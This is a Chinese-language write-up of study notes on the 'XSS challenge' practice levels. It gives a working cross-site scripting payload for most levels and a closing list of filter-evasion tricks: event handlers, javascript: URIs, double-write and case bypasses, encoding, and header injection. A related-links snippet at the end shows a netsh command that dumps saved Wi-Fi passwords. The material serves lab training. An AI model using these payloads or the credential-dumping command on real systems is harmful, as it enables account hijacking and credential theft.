XSS挑战之旅,学习笔记
第一关:
http://test.ctf8.com/level1.php?name=test
观察到通过get方式传参有会显,
直接打最简单的xss
playload:
<script>alert(1);</script>
第二关:
http://test.ctf8.com/level2.php?keyword=test
通过观察发现有个输入框,也是get方式传参,也有回显,先做一下测试
<script>alert(1);</script>
审查一下元素:
发现我们的js代码被input标签所包含,尝试闭合标签
playload:
"><script>alert(1);</script>
第三关:
还是get传参,我们先试验一下
"><script>alert(1);</script>
审查元素后,我们发现打的xss还是在input标签呢,
通过之前的闭合标签没有用,看一下网页源码
发现 " > < 被做了转义 所以尝试利用js事件绕过 也需要闭合标签,看了网页源码发现是单引号
(我常用的两个 onclick和oninput 当然还有,比如οnmοuseοver)
playload:
' onclick='alert(1) //点击
或者
' oninput='alert(1) //输入
第4关:
第四关还是像之前一样先用最简单的xss打一下,发现 <>被过滤了,
用第三题的playload试一下发现,没有闭合掉标签,playload直接显示了出来,
查看源码发现原来这里需要用双引号闭合
于是playload:
" onclick="alert(1)
或者
“ oninput=”alert(1)
第5关:
还是常规的思路 先拿最简单的试一下
发现 有过滤,直接把script改了 那我们再试一下 js事件
果然也是被过滤了,哈哈哈哈哈哈再咋说人家也是第5关嘞 试一下大小写看能不能行
不区分啊,那就换个思路,试一下新建个标签然后js伪协议
playload:
"><a href=javascript:alert(1);>1</a>
第6关:
打最简单的xss试一下:
还是过滤了,想必on也是做了过滤
没错,再用js伪协议试一下
他对href也做了过滤,我又试了一下大小写,本来我以为没有希望的时候(因为上个题就试了一下大小写不行),但没想到可以耶,早知道就打最简单的xss时就直接大写了
playload:(前面的playload都可以,只要大写绕过就好,记得要闭合标签哦)
"><a HREF=javascript:alert(1);>1</a>
第7题:
用最简单的xss打了一下,发现过滤了script
用js事件,发现也是过滤了
这里我想到了双写绕过,一般这种过滤整个关键字的,双写是个很好的思路
playload:
"><scscriptript>alert(1);</sscriptcript>
第8关:
一打开发现个添加外部链接的功能
这个肯定要试一下js伪协议啦
先看一下源码
这里不需要新建标签,源码中value的值直接传到了中,直接写
javascript:alert(1);
但没有用,看了源码发现 script被过滤,试一下大小写
没用,那就是一下html实体编码 t的html实体编码是t r是r
playload:
javascript:alert(1);
第9关:
还是有个添加链接的功能 试一下刚才的playload:
提示链接不合法
查看报错发现,应该要是http://才行
修改一下palyload
javascript:alert(1);//http://www.123.com
第10题
啥框都没了,就url 然后也有回显。打个最简单的xss
先看一下网页源码把
源码中漏出来破绽,发现有3个输入,并且<>也被过滤了,我想到了用js事件绕过,但这里并没有提供可以输入的文本框,所以我们可以写一个,所以playload的思路就是,输出源码中的三个值,并且利用写一个可输入的文本框,可以让我们利用js事件。
playload:
t_link=&t_history=&t_sort="onclick="alert()"type="text
第11题
感觉跟上一道题很像,直接看一下源码
有4个输入的值,也没有扫描框框,先打个最简单的xss看一下
发现<>做了过滤,上次的playload也没有用,很奇怪。说起来很巧,题目一开始我就查看了源码,感觉应该是题目一开始就给了提醒,我翻回去又看了一下,发现t_ref字段处存在注入漏洞
而且返回值是referer
推测可能是referer注入 思路大概就是抓包,然后在referer请求头中进行注入xss
playload:
" onclick=javascript:alert(1) type="text"
第12题
还是类似的,看了源码发现 新的输入
看到了属性值,发现应该是useragent注入
playload:
" onclick=javascript:alert(1) type="text"
第13题:
还是类似的哦,这次是要利用cookie进行注入
playload:
" onclick=javascript:alert(1) type="text"
第14题:
第14题就不一样啦,看了源码发现用iframe引用了一个页面
执行一个图片的exif信息中可以包含xss代码,这个不太懂,所以我就百度了
具体做法,上传图片,修改图片中的exif信息,打入我们的xss代码,然后利用浏览器查看就可以了。
第15题:我打不开。。。。。。溜了
第16题:
尝试一下打最简单的xss
过滤了script / 还有 空格,看了源码发现,输出位置的标签不能用,但空格会被过滤,所以可以考虑自己写个标签 用%0A %0B回车换行符绕过
playload:
<img%0Asrc=x%0Aonclick=alert(1)>
第17关:
偷个懒,直接看源码 发现存在embed标签
,embed标签本身就可以加入js事件,所以我们直接利用
playload:
onmouseover=alert(1) //前面有个空格,如果空格过滤的话跟上题一样用回车换行符绕过
第18关:
还是跟17题一样
存在embed标签
playload:
%0Aonclick=alert(1)
最后两题
flash xss 不太会
总结:
多看源码,从源码中找方法利用xss,同时也要注意标签的闭合
常用的绕过姿势:
- 新建html标签绕过
- 绕过一些过滤,比如双写,大小写,回车换行符,对标签属性值进行转码(比如html实体编码,改进制啥的)
- 利用js事件
- 利用css跨站解析
- 如果是style形式的 还可以插入\或者注释符/**/
- 插入混淆属性:
我们进行一般的文字录入时会发现,并不是所有带"JavaSceipt"这样的字符都会被过滤掉。而是只有在html标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插 入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在html标签的外面。比如:
< img src="abc>" οnmοuseοver="[code]">
//插入混淆的src属 性
<IMG """><SCRIPT>[code]</SCRIPT>">
//插入混 淆的双引号及 “>”符号
<SCRIPT a=">" SRC="xss.js"></SCRIPT>
//插入混淆的a 属性
7.用注释符分割
由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响XSS代码的正常运行。比如:
<img style="xss:expr/*XSS*/ession([code])">
/css的注释符号 为/**/,其中的内容会被忽略
<style>@im\port'\ja\vasc\ript:alert("XSS")';</style>
//css中忽略的符号还有“\”
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression (alert("XSS"))'>
//注释混淆后的样子
<style><!--</style><script>[code]//-- ></script>
//html的注释符为
XSS挑战之旅,学习笔记的更多相关文章
- XSS挑战之旅---游戏通关攻略
最近发现一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬Mramydnei,喜欢XSS的大家可以一起来学习交流. 现在我把自己在前面的十八关里面的闯关过程记录一下,大神绕行,我是菜鸟,大家可以一 ...
- XSS挑战之旅(通过看代码解题)
XSS 挑战之旅 level 1 没有什么过滤 payload: <script>alert(1)</script> level 2 php关键代码: echo "& ...
- xss挑战之旅wp
Level 1 - 180831 第一关很简单,开胃菜 payload: http://localhost/xss_game/level1.php?name=test123<script&g ...
- XSS挑战之旅平台通关练习
1.第一关 比较简单,测试语句: <svg/onload=alert(1)> <script>confirm(1)</script> <script>p ...
- 1.6 xss挑战平台练习
------------------------- XSS挑战之旅 ------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.x ...
- 我的Android进阶之旅------>Android中编解码学习笔记
编解码学习笔记(一):基本概念 媒体业务是网络的主要业务之间.尤其移动互联网业务的兴起,在运营商和应用开发商中,媒体业务份量极重,其中媒体的编解码服务涉及需求分析.应用开发.释放license收费等等 ...
- 【Microsoft Azure学习之旅】消息服务Service Bus的学习笔记及Demo示例
今年项目组做的是Cloud产品,有幸接触到了云计算的知识,也了解并使用了当今流行的云计算平台Amazon AWS与Microsoft Azure.我们的产品最初只部署在AWS平台上,现在产品决定同时支 ...
- Web安全学习笔记 XSS上
Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...
- 我的Android之旅——学习、项目、心态
本文作者: 伯乐在线 - 唐韧 .未经许可,禁止转载!欢迎分享原创到伯乐头条. 来源:唐韧 学习Android也一年多了,项目做了五六个,有大有小,有难有易.一直以来都没有好好总结过,今天周六休息,就 ...
随机推荐
- windows获取所有连接过的无线网密码
一.打开命令行工具:win+R 输入cmd 回车进入: for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show pr ...
- iMacros 入门教程-基础函数介绍(2)
imacros 的 pos 参数是什么意思 position的缩写,如果有 2 个以上的元素共用完全相同的属性(比方说同一个小区的同一栋楼),这个 POS 的参数可以借由不同位置来帮助明确定位(也就是 ...
- Programming on C 学习笔记
目录 include不同的声明方式有什么不同? if defined 与 #ifdef 有什么区别? undef 是怎么工作的? 如何利用 typedef 来定义数组? 枚举中,如果有个元素被赋予值, ...
- 两张图搞清楚Eclipse上的Web项目目录
从MyEclipse转到Eclipse起初有点不习惯eclipse的目录结构,顺手一查看到的文章帮助很大,转载一下: 原文链接:https://www.jianshu.com/p/91050dfcbe ...
- Gin框架之参数绑定
为了能够更方便的获取请求相关参数,提高开发效率,我们可以基于请求的Content-Type识别请求数据类型并利用反射机制自动提取请求中QueryString.form表单.JSON.XML等参数到结构 ...
- 安装PHP到Ubuntu(APT)
运行环境 系统版本:Ubuntu 16.04.2 LTS 软件版本:PHP-5.6 硬件要求:无 安装过程 1.安装APT存储库 APT存储库由PPA提供. root@localhost:~# apt ...
- python——面向对象基础(2),烤地瓜
"""Date:2020.2.9 测试案例:烤地瓜需求分析1.烤的时间和对应的地瓜状态:2.烤制过程步骤: 1.定义类, 地瓜属性,状态,烤的时间,调料 2.定义方法,怎 ...
- 安装JumpServer到CentOS(YUM)
运行环境 系统版本:CentOS Linux release 7.6.1810 (Core) 软件版本:JumpServer-1.4.8 硬件要求:最低2核4GB 官方文档:https://docs. ...
- Visionpro学习笔记(壹)
注册4年,第一次发了随笔.我的博客将主要涉及到visionPro软件的学习,labview数据采集方面的思考,c#及VS的学习 此随笔系列主要是关于VisionPro(以后简称VP)的学习及使用. 近 ...
- CSRF 攻击的应对之道 转载
CSRF 背景与介绍 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一.其他安全隐患,比如 ...